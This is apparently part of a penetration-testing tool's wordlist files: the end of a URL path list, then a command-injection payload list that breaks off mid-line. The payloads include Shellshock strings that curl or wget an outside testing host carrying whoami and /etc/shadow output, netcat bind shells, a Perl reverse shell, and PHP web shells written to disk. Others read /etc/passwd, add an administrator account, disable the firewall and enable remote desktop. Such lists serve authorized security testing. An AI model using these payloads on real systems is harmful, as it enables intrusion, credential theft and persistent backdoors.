 832 | /translations/
 833 | /sendtofriend.php
 834 | /mod/
 835 | /ipdata/
 836 | /index/8
 837 | /index/3
 838 | /index/1
 839 | /forums/usercp.php
 840 | /forums/printthread.php
 841 | /forums/calendar.php
 842 | /article/
 843 | /Registration
 844 | /user/password
 845 | /uk/
 846 | /skins/
 847 | /media
 848 | /l/
 849 | /forums/register.php
 850 | /forums/editpost.php
 851 | /forum/poll.php
 852 | /blogs/
 853 | /Resources/
 854 | /util/
 855 | /g/
 856 | /forums/subscription.php
 857 | /forums/sendmessage.php
 858 | /forum/showgroups.php
 859 | /directory/
 860 | /apc.php
 861 | /Bin/
 862 | /unsubscribe
 863 | /powerpoint
 864 | /posting.php
 865 | /photos/
 866 | /my
 867 | /hr/
 868 | /forums/misc.php
 869 | /doc/
 870 | /post/
 871 | /job/
 872 | /inc
 873 | /fi/
 874 | /feedback
 875 | /edit/
 876 | /browse/Video
 877 | /browse/Street
 878 | /browse/Still
 879 | /browse/Smug
 880 | /browse/Arts
 881 | /sitecore
 882 | /posts/
 883 | /page
 884 | /math/
 885 | /mambots/
 886 | /forums/profile.php
 887 | /forums/cron.php
 888 | /ct.html
 889 | /code/
 890 | /README.txt
 891 | /Controls/
 892 | /terms/
 893 | /subscriptions/
 894 | /subscribe/
 895 | /sponsored
 896 | /shopping/
 897 | /manage
 898 | /forums/online.php
 899 | /forum/reputation.php
 900 | /footer.php
 901 | /adv/
 902 | /unsubscribe/
 903 | /st.aspx
 904 | /rss.php
 905 | /oauth/
 906 | /members
 907 | /images/spacer.gif
 908 | /forums/threadrate.php
 909 | /forums/reputation.php
 910 | /forums/moderator.php
 911 | /e086ec.aspx
 912 | /ct/ct.aspx
 913 | /ct.aspx
 914 | /backend/
 915 | /articles/
 916 | /store/
 917 | /settings
 918 | /redir/
 919 | /popups/
 920 | /order.php
 921 | /login.aspx
 922 | /id/
 923 | /detail/
 924 | /cabinet/
 925 | /Ajax/
 926 | /tools
 927 | /rating/
 928 | /listing/
 929 | /javascripts/
 930 | /ja/
 931 | /e/config/
 932 | /cgi/scopus
 933 | /cgi/register
 934 | /cgi/login
 935 | /careerfocus/
 936 | /backtocs/
 937 | /adwatch
 938 | /uploads
 939 | /searchall
 940 | /misc/press/
 941 | /incoming/
 942 | /honeypot/
 943 | /go
 944 | /games/
 945 | /forums/poll.php
 946 | /forums/member.php
 947 | /forum/joinrequests.php
 948 | /dashboard/
 949 | /citmgr
 950 | /citemap
 951 | /cgi/topics
 952 | /cgi/searchresults
 953 | /cgi/searchhistory
 954 | /cgi/search
 955 | /cgi/savedsearch
 956 | /cgi/reprintsidebar
 957 | /cgi/powerpoint
 958 | /cgi/myjs
 959 | /cgi/markedcitation
 960 | /cgi/mailafriend
 961 | /cgi/folders
 962 | /cgi/flagsearch
 963 | /cgi/etoc
 964 | /cgi/ctmain
 965 | /cgi/ctalert
 966 | /cgi/cookietest
 967 | /cgi/citmgr
 968 | /cgi/citemap
 969 | /cgi/changeuserinfo
 970 | /cgi/authordata
 971 | /cgi/alerts
 972 | /cgi/adclick
 973 | /category
 974 | /announcement.php
 975 | /adsystem
 976 | /adm
 977 | /accesslogs
 978 | /tags
 979 | /interactive/
 980 | /hooks/
 981 | /forums/showgroups.php
 982 | /bg/
 983 | /basket
 984 | /aw
 985 | /assets
 986 | /advertising/
 987 | /action/
 988 | /wiki/
 989 | /traffic/
 990 | /modcp.php
 991 | /index.php/cod.orders/
 992 | /index.php/cod.filters/
 993 | /forums/postings.php
 994 | /forums/joinrequests.php
 995 | /design/
 996 | /demo
 997 | /day
 998 | /affiliate/
 999 | /1/
1000 | /ugc/
1001 | 


--------------------------------------------------------------------------------
/database/command_exec.txt:
--------------------------------------------------------------------------------
  1 | `
  2 | || 
  3 | | 
  4 | ; 
  5 | '
  6 | '"
  7 | "
  8 | "'
  9 | & 
 10 | && 
 11 | %0a
 12 | %0a%0d
 13 | %0Acat%20/etc/passwd
 14 | %0Aid
 15 | %0a id %0a
 16 | %0Aid%0A
 17 | %0a ping -i 30 127.0.0.1 %0a
 18 | %0A/usr/bin/id
 19 | %0A/usr/bin/id%0A
 20 | %2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1
 21 | %20{${phpinfo()}}
 22 | %20{${sleep(20)}}
 23 | %20{${sleep(3)}}
 24 | a|id|
 25 | a;id|
 26 | a;id;
 27 | a;id\n
 28 | () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
 29 | () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"
 30 | () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"
 31 | () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"
 32 | () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
 33 | () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
 34 | () { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
 35 | () { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
 36 | () { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
 37 | () { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
 38 | () { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
 39 | () { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
 40 | () { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
 41 | () { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
 42 | () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`"
 43 | () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"
 44 | () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"
 45 | () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"
 46 | () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"
 47 | () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
 48 | () { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
 49 | cat /etc/hosts
 50 | $(`cat /etc/passwd`)
 51 | cat /etc/passwd
 52 | () { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12
 53 | | curl http://crowdshield.com/.testing/rce.txt
 54 | & curl http://crowdshield.com/.testing/rce.txt
 55 | ; curl https://crowdshield.com/.testing/rce_vuln.txt
 56 | && curl https://crowdshield.com/.testing/rce_vuln.txt
 57 | curl https://crowdshield.com/.testing/rce_vuln.txt
 58 |  curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
 59 | curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
 60 | $(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
 61 | dir
 62 | | dir
 63 | ; dir
 64 | $(`dir`)
 65 | & dir
 66 | &&dir
 67 | && dir
 68 | | dir C:\
 69 | ; dir C:\
 70 | & dir C:\
 71 | && dir C:\
 72 | dir C:\
 73 | | dir C:\Documents and Settings\*
 74 | ; dir C:\Documents and Settings\*
 75 | & dir C:\Documents and Settings\*
 76 | && dir C:\Documents and Settings\*
 77 | dir C:\Documents and Settings\*
 78 | | dir C:\Users
 79 | ; dir C:\Users
 80 | & dir C:\Users
 81 | && dir C:\Users
 82 | dir C:\Users
 83 | ;echo%20'<script>alert(1)</script>'
 84 | echo '<img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)></img>'// XXXXXXXXXXX
 85 | | echo "<?php include($_GET['page'])| ?>" > rfi.php
 86 | ; echo "<?php include($_GET['page']); ?>" > rfi.php
 87 | & echo "<?php include($_GET['page']); ?>" > rfi.php
 88 | && echo "<?php include($_GET['page']); ?>" > rfi.php
 89 | echo "<?php include($_GET['page']); ?>" > rfi.php
 90 | | echo "<?php system('dir $_GET['dir']')| ?>" > dir.php 
 91 | ; echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
 92 | & echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
 93 | && echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
 94 | echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
 95 | | echo "<?php system($_GET['cmd'])| ?>" > cmd.php
 96 | ; echo "<?php system($_GET['cmd']); ?>" > cmd.php
 97 | & echo "<?php system($_GET['cmd']); ?>" > cmd.php
 98 | && echo "<?php system($_GET['cmd']); ?>" > cmd.php
 99 | echo "<?php system($_GET['cmd']); ?>" > cmd.php
100 | ;echo '<script>alert(1)</script>'
101 | echo '<script>alert(1)</script>'// XXXXXXXXXXX
102 | echo '<script src=https://crowdshield.com/.testing/xss.js></script>'// XXXXXXXXXXX
103 | | echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
104 | ; echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
105 | & echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
106 | && echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
107 | echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
108 | () { :;}; echo vulnerable 10
109 | eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
110 | eval('ls')
111 | eval('pwd')
112 | eval('pwd');
113 | eval('sleep 5')
114 | eval('sleep 5');
115 | eval('whoami')
116 | eval('whoami');
117 | exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
118 | exec('ls')
119 | exec('pwd')
120 | exec('pwd');
121 | exec('sleep 5')
122 | exec('sleep 5');
123 | exec('whoami')
124 | exec('whoami');
125 | ;{$_GET["cmd"]}
126 | `id`
127 | |id
128 | | id
129 | ;id
130 | ;id|
131 | ;id;
132 | & id
133 | &&id
134 | ;id\n
135 | ifconfig
136 | | ifconfig
137 | ; ifconfig
138 | & ifconfig
139 | && ifconfig
140 | /index.html|id|
141 | ipconfig
142 | | ipconfig /all
143 | ; ipconfig /all
144 | & ipconfig /all
145 | && ipconfig /all
146 | ipconfig /all
147 | ls
148 | $(`ls`)
149 | | ls -l /
150 | ; ls -l /
151 | & ls -l /
152 | && ls -l /
153 | ls -l /
154 | | ls -laR /etc
155 | ; ls -laR /etc
156 | & ls -laR /etc
157 | && ls -laR /etc
158 | | ls -laR /var/www
159 | ; ls -laR /var/www
160 | & ls -laR /var/www
161 | && ls -laR /var/www
162 | | ls -l /etc/
163 | ; ls -l /etc/
164 | & ls -l /etc/
165 | && ls -l /etc/
166 | ls -l /etc/
167 | ls -lh /etc/
168 | | ls -l /home/*
169 | ; ls -l /home/*
170 | & ls -l /home/*
171 | && ls -l /home/*
172 | ls -l /home/*
173 | *; ls -lhtR /var/www/
174 | | ls -l /tmp
175 | ; ls -l /tmp
176 | & ls -l /tmp
177 | && ls -l /tmp
178 | ls -l /tmp
179 | | ls -l /var/www/*
180 | ; ls -l /var/www/*
181 | & ls -l /var/www/*
182 | && ls -l /var/www/*
183 | ls -l /var/www/*
184 | <!--#exec cmd="/bin/cat /etc/passwd"-->
185 | <!--#exec cmd="/bin/cat /etc/shadow"-->
186 | <!--#exec cmd="/usr/bin/id;-->
187 | \n
188 | \n\033[2curl http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoami\`
189 | \n\033[2wget http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoami\`
190 | \n/bin/ls -al\n
191 | | nc -lvvp 4444 -e /bin/sh|
192 | ; nc -lvvp 4444 -e /bin/sh;
193 | & nc -lvvp 4444 -e /bin/sh&
194 | && nc -lvvp 4444 -e /bin/sh &
195 | nc -lvvp 4444 -e /bin/sh
196 | nc -lvvp 4445 -e /bin/sh &
197 | nc -lvvp 4446 -e /bin/sh|
198 | nc -lvvp 4447 -e /bin/sh;
199 | nc -lvvp 4448 -e /bin/sh&
200 | \necho INJECTX\nexit\n\033[2Acurl https://crowdshield.com/.testing/rce_vuln.txt\n
201 | \necho INJECTX\nexit\n\033[2Asleep 5\n
202 | \necho INJECTX\nexit\n\033[2Awget https://crowdshield.com/.testing/rce_vuln.txt\n
203 | | net localgroup Administrators hacker /ADD
204 | ; net localgroup Administrators hacker /ADD
205 | & net localgroup Administrators hacker /ADD
206 | && net localgroup Administrators hacker /ADD
207 | net localgroup Administrators hacker /ADD
208 | | netsh firewall set opmode disable
209 | ; netsh firewall set opmode disable
210 | & netsh firewall set opmode disable
211 | && netsh firewall set opmode disable
212 | netsh firewall set opmode disable
213 | netstat
214 | ;netstat -a;
215 | | netstat -an
216 | ; netstat -an
217 | & netstat -an
218 | && netstat -an
219 | netstat -an
220 | | net user hacker Password1 /ADD
221 | ; net user hacker Password1 /ADD
222 | & net user hacker Password1 /ADD
223 | && net user hacker Password1 /ADD
224 | net user hacker Password1 /ADD
225 | | net view
226 | ; net view
227 | & net view
228 | && net view
229 | net view
230 | \nid|
231 | \nid;
232 | \nid\n
233 | \n/usr/bin/id\n
234 | perl -e 'print "X"x1024'
235 | || perl -e 'print "X"x16096'
236 | | perl -e 'print "X"x16096'
237 | ; perl -e 'print "X"x16096'
238 | & perl -e 'print "X"x16096'
239 | && perl -e 'print "X"x16096'
240 | perl -e 'print "X"x16384'
241 | ; perl -e 'print "X"x2048'
242 | & perl -e 'print "X"x2048'
243 | && perl -e 'print "X"x2048'
244 | perl -e 'print "X"x2048'
245 | || perl -e 'print "X"x4096'
246 | | perl -e 'print "X"x4096'
247 | ; perl -e 'print "X"x4096'
248 | & perl -e 'print "X"x4096'
249 | && perl -e 'print "X"x4096'
250 | perl -e 'print "X"x4096'
251 | || perl -e 'print "X"x8096'
252 | | perl -e 'print "X"x8096'
253 | ; perl -e 'print "X"x8096'
254 | && perl -e 'print "X"x8096'
255 | perl -e 'print "X"x8192'
256 | perl -e 'print "X"x81920'
257 | || phpinfo()
258 | | phpinfo()
259 |  {${phpinfo()}}
260 | ;phpinfo()
261 | ;phpinfo();//
262 | ';phpinfo();//
263 | {${phpinfo()}}
264 | & phpinfo()
265 | && phpinfo()
266 | phpinfo()
267 | phpinfo();
268 | <?php system("cat /etc/passwd");?>
269 | <?php system("curl https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
270 | <?php system("curl https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj");?>
271 | <?php system("echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");?>
272 | <?php system("sleep 10");?>
273 | <?php system("sleep 5");?>
274 | <?php system("wget https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
275 | <?php system("wget https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc");?>
276 | :phpversion();
277 | `ping 127.0.0.1`
278 | & ping -i 30 127.0.0.1 &
279 | & ping -n 30 127.0.0.1 &
280 | ;${@print(md5(RCEVulnerable))};
281 | ${@print("RCEVulnerable")}
282 | ${@print(system($_SERVER['HTTP_USER_AGENT']))}
283 | pwd
284 | | pwd
285 | ; pwd
286 | & pwd
287 | && pwd
288 | \r
289 | | reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
290 | ; reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
291 | & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
292 | && reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
293 | reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
294 | \r\n
295 | route
296 | | sleep 1
297 | ; sleep 1
298 | & sleep 1
299 | && sleep 1
300 | sleep 1
301 | || sleep 10
302 | | sleep 10
303 | ; sleep 10
304 | {${sleep(10)}}
305 | & sleep 10 
306 | && sleep 10
307 | sleep 10
308 | || sleep 15
309 | | sleep 15
310 | ; sleep 15
311 | & sleep 15 
312 | && sleep 15
313 |  {${sleep(20)}}
314 | {${sleep(20)}}
315 |  {${sleep(3)}}
316 | {${sleep(3)}}
317 | | sleep 5
318 | ; sleep 5
319 | & sleep 5
320 | && sleep 5
321 | sleep 5
322 |  {${sleep(hexdec(dechex(20)))}} 
323 | {${sleep(hexdec(dechex(20)))}} 
324 | sysinfo
325 | | sysinfo
326 | ; sysinfo
327 | & sysinfo
328 | && sysinfo
329 | ;system('cat%20/etc/passwd')
330 | system('cat C:\boot.ini');
331 | system('cat config.php');
332 | system('cat /etc/passwd');
333 | || system('curl https://crowdshield.com/.testing/rce_vuln.txt');
334 | | system('curl https://crowdshield.com/.testing/rce_vuln.txt');
335 | ; system('curl https://crowdshield.com/.testing/rce_vuln.txt');
336 | & system('curl https://crowdshield.com/.testing/rce_vuln.txt');
337 | && system('curl https://crowdshield.com/.testing/rce_vuln.txt');
338 | system('curl https://crowdshield.com/.testing/rce_vuln.txt')
339 | system('curl https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')
340 | system('curl https://xerosecurity.com/.testing/rce_vuln.txt');
341 | system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX